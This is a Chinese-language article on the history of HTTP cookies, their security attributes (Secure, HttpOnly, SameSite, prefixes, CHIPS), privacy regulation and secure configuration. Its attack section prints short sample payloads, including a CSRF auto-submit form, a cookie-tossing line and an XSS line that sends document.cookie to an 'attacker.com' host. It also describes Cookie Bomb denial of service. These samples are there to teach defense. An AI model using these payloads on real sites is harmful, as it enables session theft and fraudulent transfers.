1994年6月,Netscape的工程师Lou Montulli面临一个棘手的技术问题。MCI公司正在开发一个电子商务应用,他们不想在服务器端维护用户的购物车状态——这会消耗大量服务器资源。Montulli想到了一个解决方案:让浏览器"记住"一些数据。他从Unix系统的"magic cookie"概念中汲取灵感,设计出了HTTP Cookie。

这个看似简单的发明,在接下来的三十年里引发了Web安全与隐私保护领域最深层的博弈。从最初仅4页的规范文档,到如今需要数十个RFC草案来修补的安全漏洞,Cookie的技术演进揭示了Web架构设计中效率、安全与隐私之间的永恒张力。

一个四页文档开启的Web时代

Montulli在1994年10月13日发布的Netscape Navigator 0.9 beta版中首次实现了Cookie。原始规范异常简洁——只有约四页纸的内容,定义了Set-Cookie响应头的基本语法:名称、值、过期时间、域名和路径。

这个设计解决了HTTP无状态协议的核心困境。在Cookie诞生之前,Web服务器无法区分两个连续请求是否来自同一用户。购物网站不得不在URL中嵌入会话标识,这种做法不仅破坏了URL的干净性,还带来了严重的安全风险——任何知道URL的人都能劫持会话。

Cookie的引入改变了这一切。服务器可以通过Set-Cookie响应头在用户浏览器中存储一小段数据,浏览器会在后续对该服务器的请求中自动附上这段数据。这种机制使得购物车、用户登录、个性化设置等功能成为可能。

然而,这个最初的设计埋下了深远的安全隐患。Netscape规范没有考虑跨站脚本攻击(XSS),没有定义HttpOnly属性,更没有预见第三方Cookie会演变成隐私追踪的基础设施。

标准化的曲折道路

Cookie从企业发明到IETF标准经历了漫长的过程。1995年4月,关于Cookie标准化的讨论在www-talk邮件列表中启动。IETF成立了一个专门的工作组,由David Kristol和Lou Montulli共同领导。

1997年2月,RFC 2109发布。这份标准明确指出第三方Cookie构成"重大的隐私威胁",建议浏览器默认禁止第三方Cookie。然而,这个建议被Netscape和微软完全忽视了——当时的广告行业已经开始依赖第三方Cookie进行跨站追踪。

2000年10月,RFC 2965试图引入Set-Cookie2头部来解决已知问题,但浏览器厂商几乎没有实现这个新规范。Set-Cookie2头部成为了一个失败的实验。

直到2011年4月,RFC 6265才作为"现实世界Cookie使用的权威规范"发布。它没有引入新的理想化特性,而是忠实地描述了浏览器实际实现的行为。这份文档承认了一个事实:Cookie已经成为一个无法推翻的Web基础设施,标准化的任务是描述现实而非规定理想。

Cookie的工作机制:从服务器到浏览器再回来

理解Cookie的安全问题,需要先理解其完整的工作流程。

当服务器想要在客户端存储数据时,它在HTTP响应中添加Set-Cookie头部:

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: session_id=a1b2c3d4e5f6; Path=/; HttpOnly; Secure; SameSite=Strict

浏览器解析这个头部,提取cookie的名称、值和各种属性,将其存储在本地的cookie存储区中。重要的是,Set-Cookie头部被浏览器标记为"禁止暴露的响应头",JavaScript无法通过XMLHttpRequestfetch API读取它——这是为了防止恶意脚本窃取服务器设置的敏感cookie。

当浏览器向同一服务器发送后续请求时,它会自动在请求中添加Cookie头部:

GET /dashboard HTTP/1.1
Host: example.com
Cookie: session_id=a1b2c3d4e5f6

服务器从Cookie头部读取会话标识,在数据库中查找对应的用户信息,从而实现有状态的交互。

这个简单的机制背后是复杂的匹配逻辑。浏览器决定是否发送某个cookie,需要检查请求的域名是否匹配cookie的Domain属性、请求路径是否匹配cookie的Path属性、请求协议是否满足Secure属性的要求、以及cookie是否已过期。

安全属性的三十年演进

Cookie的安全属性是逐步添加的,每一个都对应着特定类型的攻击。

Secure:防止中间人窃听

Secure属性是最早的安全增强之一。标记了Secure的cookie只能通过HTTPS连接传输,不会在HTTP连接中发送。这可以防止被动攻击者通过网络嗅探窃取cookie。

Secure属性有一个重要局限:它只保护传输过程。如果攻击者能够访问客户端设备(通过恶意软件或物理接触),Secure cookie仍然可以被读取。更危险的是,如果服务器在HTTP连接上设置了带Secure属性的cookie,中间人攻击者可以在传输过程中删除Secure标记,然后使用这个cookie。

HttpOnly:堵住XSS的大门

2002年,微软在Internet Explorer 6 SP1中引入了HttpOnly属性。这是一个简单但极其有效的设计:标记了HttpOnly的cookie不能被JavaScript的document.cookieAPI访问。

这个属性的诞生背景是XSS攻击的泛滥。攻击者通过注入恶意脚本,可以读取document.cookie中的会话cookie,然后将其发送到自己的服务器。有了HttpOnly,即使网站存在XSS漏洞,攻击者也无法直接读取受保护的cookie。

HttpOnly并非万能药。它不阻止XSS攻击本身,只是减轻了攻击的影响。攻击者仍然可以通过XSS执行任意操作(如发送恶意请求),只是无法窃取cookie用于后续攻击。此外,HttpOnly cookie仍然可能被TRACE方法泄露(称为跨站追踪攻击,XST),虽然现代浏览器已经禁用了TRACE方法。

SameSite:CSRF防御的新防线

2016年,Chrome 51引入了SameSite属性,这是Cookie安全演进中最重要的一步。SameSite属性有三个可能的值:

  • Strict:cookie只在"同站"请求中发送。跨站请求(包括点击链接导航到目标站点)都不会携带此cookie。这提供了最强的CSRF防护,但可能影响用户体验——用户从邮件中的链接访问已登录的网站时,可能需要重新登录。

  • Lax:cookie在同站请求中发送,同时在顶级导航的GET请求中也发送。这是在安全和可用性之间的平衡。用户从其他网站点击链接导航过来时,cookie会被携带,但POST请求和嵌入内容(如图片、iframe)不会携带cookie。

  • None:cookie在所有请求中发送,包括跨站请求。这是传统Cookie的行为。使用None值时,必须同时设置Secure属性。

2020年2月,Chrome 80做出了一个改变Web生态的决定:将没有显式设置SameSite属性的cookie默认视为SameSite=Lax。在此之前,未设置SameSite的cookie行为等同于None,这导致大量网站依赖第三方cookie进行认证和追踪。

这个改变引发了大规模的网站兼容性问题。许多依赖跨站cookie的OAuth流程、嵌入式应用和支付网关突然失效。Google不得不两次推迟全面强制执行的日期,最终在Chrome 84中完成部署。

Cookie前缀:最后一道防线

2020年代,浏览器引入了Cookie前缀作为额外的安全保证。这些前缀以__开头,要求浏览器在设置cookie时验证特定条件:

  • __Secure-:要求cookie必须设置Secure属性,并且必须通过HTTPS设置。这防止了HTTP连接上设置伪装的安全cookie。

  • __Host-:这是最严格的前缀。除了__Secure-的要求外,还禁止设置Domain属性(确保cookie是"主机锁定"的),并要求Path必须设置为/。这确保cookie只发送给设置它的确切主机,不会被任何子域或路径覆盖。

  • __Http-__Host-Http-:这些是更新的前缀,要求cookie必须设置HttpOnly属性,证明它们是通过Set-Cookie头部设置的,而不是通过JavaScript。

前缀机制解决了Cookie Tossing攻击——攻击者控制子域时,可以设置与父域同名的cookie,覆盖父域的cookie。使用__Host-前缀的cookie不会被子域设置的cookie覆盖,因为它们要求不设置Domain属性。

Cookie存储限制与Cookie Bomb攻击

浏览器对Cookie有严格的存储限制。RFC 6265要求浏览器至少支持:

  • 每个cookie至少4096字节
  • 每个域名至少50个cookie
  • 总共至少3000个cookie

现代浏览器的实际限制略有不同:

浏览器 每cookie大小 每域名cookie数 总cookie数
Chrome 4096字节 180个 无限制
Firefox 4097字节 150个 无限制
Safari 4097字节 无限制 无限制
Edge 4095字节 180个 无限制

这些限制看似合理,却催生了一种被称为"Cookie Bomb"的拒绝服务攻击。攻击者在目标域名下设置大量接近4096字节上限的cookie,当这些cookie被附加到HTTP请求中时,请求头会变得极其庞大。大多数Web服务器对请求头大小有严格限制(Nginx默认为8KB),超过限制的请求会被拒绝。

攻击者通常通过子域进行攻击。如果example.com有一个存在XSS漏洞的子域blog.example.com,攻击者可以在该子域设置cookie,由于没有显式设置Domain属性,这些cookie会被发送到父域。当受害者访问example.com时,所有这些巨大的cookie都会被附加到请求中,导致服务器拒绝服务。

防御Cookie Bomb需要在子域隔离上做文章。使用__Host-前缀可以防止cookie被子域覆盖,但更重要的是避免在存在用户可控内容的子域上设置敏感cookie。

第三方Cookie:隐私与商业的战场

第三方Cookie是Cookie争议的核心。当用户访问example.com时,页面中嵌入的来自analytics.com的脚本可以设置属于analytics.com的cookie。当用户随后访问another-site.com,其中也嵌入了来自analytics.com的脚本时,之前设置的cookie会被发送到analytics.com。这样,analytics.com可以追踪用户在多个网站上的行为。

Safari的激进立场

苹果是最早对第三方Cookie采取激进措施的厂商。2017年,Safari引入了智能追踪预防(ITP),开始限制第三方cookie的使用。2018年,Safari更进一步,对所有JavaScript设置的cookie实施了7天的过期限制。

这意味着,即使用户设置了长达一年的cookie过期时间,Safari也会在7天后删除它(除非用户在这7天内与网站有交互)。这个限制严重影响了营销追踪和长期登录状态的保持。

ITP还引入了"隔舱化"概念:如果Safari检测到某个域名主要用于跨站追踪,它会将该域名的所有cookie隔离开来,每个顶级网站都有自己的cookie"隔舱",无法跨站共享。

Chrome的犹豫与转折

Google的态度要复杂得多。Chrome占据全球浏览器市场约65%的份额,其决策会对整个广告行业产生巨大影响。Google同时也是全球最大的数字广告公司,这造成了明显的利益冲突。

2020年,Google宣布将在2022年之前淘汰第三方cookie。随后,这个日期被推迟到2023年,然后是2024年。2024年7月,Google做出了一个惊人的宣布:不再计划强制淘汰第三方cookie,而是让用户自行选择是否禁用它们。

这个决定反映了Cookie问题的复杂性。完全淘汰第三方cookie会破坏大量现有的Web应用——OAuth单点登录、嵌入式支付表单、跨域iframe通信等都依赖某种形式的第三方cookie。Privacy Sandbox项目提供了替代方案(如Topics API、Attribution Reporting API),但这些API的采用率仍然很低。

CHIPS:分区Cookie的折中方案

Cookies Having Independent Partitioned State(CHIPS)是一个试图在隐私和功能之间找到平衡的提案。它引入了Partitioned属性,让cookie被"分区"存储:

Set-Cookie: session=abc123; Partitioned; Secure; SameSite=None

当一个分区cookie被设置后,它会被存储在一个独立的"隔舱"中,每个顶级网站有自己的隔舱。当用户从site-a.com访问embedded.com时设置的cookie,不会被发送到从site-b.com访问embedded.com时的请求中。

这解决了第三方cookie的隐私问题——追踪者无法跨站追踪用户——同时保留了第三方cookie的功能性——嵌入式应用仍然可以在单个网站的上下文中工作。

Cookie安全攻击全景

CSRF:跨站请求伪造

SameSite属性普及之前,CSRF是最常见的cookie相关攻击。攻击者诱导受害者访问恶意网站,该网站向目标网站发送一个隐藏的POST请求:

<form action="https://bank.com/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('csrf').submit();</script>

当受害者已经登录bank.com时,浏览器会自动附加银行的认证cookie。银行服务器收到请求,验证cookie有效,执行转账。

SameSite=StrictSameSite=Lax可以阻止这种攻击,但开发者应该实现多层防御:

  1. 使用SameSite属性
  2. 为每个表单生成随机CSRF令牌
  3. 验证请求来源(检查OriginReferer头部)
  4. 对于敏感操作,要求二次认证

XSS:跨站脚本与Cookie窃取

XSS攻击允许攻击者在受害者浏览器中执行任意JavaScript。如果会话cookie没有设置HttpOnly,攻击者可以轻松窃取:

// 攻击者的脚本
fetch('https://attacker.com/steal?cookie=' + document.cookie);

HttpOnly可以阻止这种直接的窃取,但攻击者仍然可以在受害者上下文中执行任意操作:

// 攻击者直接执行转账
fetch('https://bank.com/transfer', {
  method: 'POST',
  body: JSON.stringify({ to: 'attacker', amount: 10000 }),
  credentials: 'include'
});

当攻击者控制某个子域时,他们可以设置与父域同名的cookie。由于浏览器按照特定顺序发送cookie(通常是最具体的路径先发送),攻击者可以"覆盖"父域的cookie:

// 攻击者在 blog.example.com 设置的cookie
document.cookie = "session=attacker_controlled; path=/; domain=example.com";

当受害者访问example.com时,浏览器可能发送攻击者的cookie而非合法的cookie。这种攻击在OAuth流程中尤其危险——攻击者可以劫持OAuth回调并获取访问令牌。

防御措施包括使用__Host-前缀和确保子域的安全隔离。

子域Cookie污染

与Cookie Tossing相关的是子域Cookie污染问题。当一个cookie设置了Domain=.example.com(注意前导点在RFC 6265中被忽略),它会被发送到所有子域。这意味着:

  1. 子域的安全漏洞可能泄露父域的cookie
  2. 子域设置的cookie可能干扰父域的功能
  3. 攻击者控制的子域可以读取父域的cookie

最佳实践是避免设置Domain属性,让cookie成为"主机锁定"的cookie。这样可以确保cookie只发送给设置它的确切主机。

法规演进:从技术规范到法律义务

Cookie的安全问题最终引发了立法者的关注。2002年,欧盟发布了电子隐私指令(ePrivacy Directive),要求网站在设置非必要cookie之前必须获得用户同意。这项指令在2009年修订后变得更严格,被欧盟各成员国转化为国内法。

2018年生效的通用数据保护条例(GDPR)进一步强化了对Cookie的监管。虽然GDPR没有直接提到Cookie,但它将Cookie数据归类为个人数据,适用GDPR的所有要求:

  • 数据最小化原则:只收集必要的cookie数据
  • 目的限定原则:cookie只能用于声明的目的
  • 存储期限原则:cookie不应保留超过必要的时间
  • 用户权利:用户有权访问、更正和删除其cookie数据

英国的隐私和电子通信条例(PECR)是ePrivacy指令的本地化实现,它明确要求:

  1. 在设置非必要cookie前告知用户
  2. 提供清晰的cookie信息
  3. 获得用户主动同意(不能预先勾选)
  4. 允许用户随时撤回同意

这些法规直接催生了当今Web上无处不在的Cookie横幅。然而,技术实现和法规要求之间存在张力。例如,GDPR要求同意必须是"主动的"(opt-in),但许多网站仍然默认接受所有cookie,只提供一个"接受"按钮而没有对等的"拒绝"按钮。

最佳实践:安全Cookie配置指南

综合三十年来的技术演进和攻击教训,现代Web应用应该遵循以下Cookie配置原则:

会话Cookie配置

对于最敏感的会话cookie,使用最严格的配置:

Set-Cookie: session_id=<random_value>; \
  Path=/; \
  Secure; \
  HttpOnly; \
  SameSite=Strict

或者使用__Host-前缀:

Set-Cookie: __Host-session_id=<random_value>; \
  Path=/; \
  Secure; \
  HttpOnly; \
  SameSite=Strict

跨站嵌入场景

当需要允许iframe中的跨站cookie时,使用CHIPS:

Set-Cookie: embedded_session=<value>; \
  Path=/; \
  Secure; \
  HttpOnly; \
  SameSite=None; \
  Partitioned

长期偏好Cookie

对于用户偏好等非敏感长期存储,可以放宽SameSite设置:

Set-Cookie: preferences=<encoded_value>; \
  Path=/; \
  Secure; \
  SameSite=Lax; \
  Max-Age=31536000

注意Chrome对ExpiresMax-Age设置了400天的上限。尝试设置超过400天的cookie会被截断到400天。

应该避免的做法

  1. 不要在HTTP连接上设置敏感cookie
  2. 不要为会话cookie设置过长的过期时间
  3. 不要在没有Secure属性的情况下使用SameSite=None
  4. 不要在子域共享敏感cookie(避免设置Domain属性)
  5. 不要在cookie中存储敏感数据——cookie值应该是一个不可预测的标识符,敏感数据应该存储在服务器端

Cookie的未来

Cookie的技术演进反映了Web平台从简单的文档检索系统到复杂应用平台的转变。最初为购物车设计的简单机制,现在承载着认证、追踪、个性化等多重功能,每一种功能都带来新的安全挑战。

第三方Cookie的未来仍然不确定。虽然Google放弃了强制淘汰的计划,但Safari和Firefox已经默认阻止它们。Privacy Sandbox的API正在逐渐成熟,可能最终提供一个既保护隐私又支持广告生态的解决方案。

在可预见的未来,Cookie仍将是Web的关键基础设施。理解其安全属性和潜在攻击,对于任何Web开发者来说都是必不可少的技能。在安全与便利之间找到平衡,是这个三十年前发明的技术将继续教给我们的课程。

参考资料

  1. RFC 6265 - HTTP State Management Mechanism. IETF, 2011.
  2. draft-ietf-httpbis-rfc6265bis - Cookies: HTTP State Management Mechanism. IETF, 2024.
  3. HTTP cookie - Wikipedia. Wikimedia Foundation.
  4. Set-Cookie - HTTP Headers. MDN Web Docs, Mozilla.
  5. SameSite cookies explained. web.dev, Google.
  6. Cookies Having Independent Partitioned State (CHIPS). MDN Web Docs, Mozilla.
  7. Tracking Prevention in WebKit. WebKit Blog.
  8. Cookie Consent Explained: GDPR Compliance. ICO (UK Information Commissioner’s Office).
  9. OWASP Testing Guide - Testing for Cookies Attributes. OWASP Foundation.
  10. PortSwigger Web Security Academy - Bypassing SameSite cookie restrictions. PortSwigger.
  11. Chrome’s SameSite changes - Chrome Developers. Google.
  12. Privacy Sandbox - Google.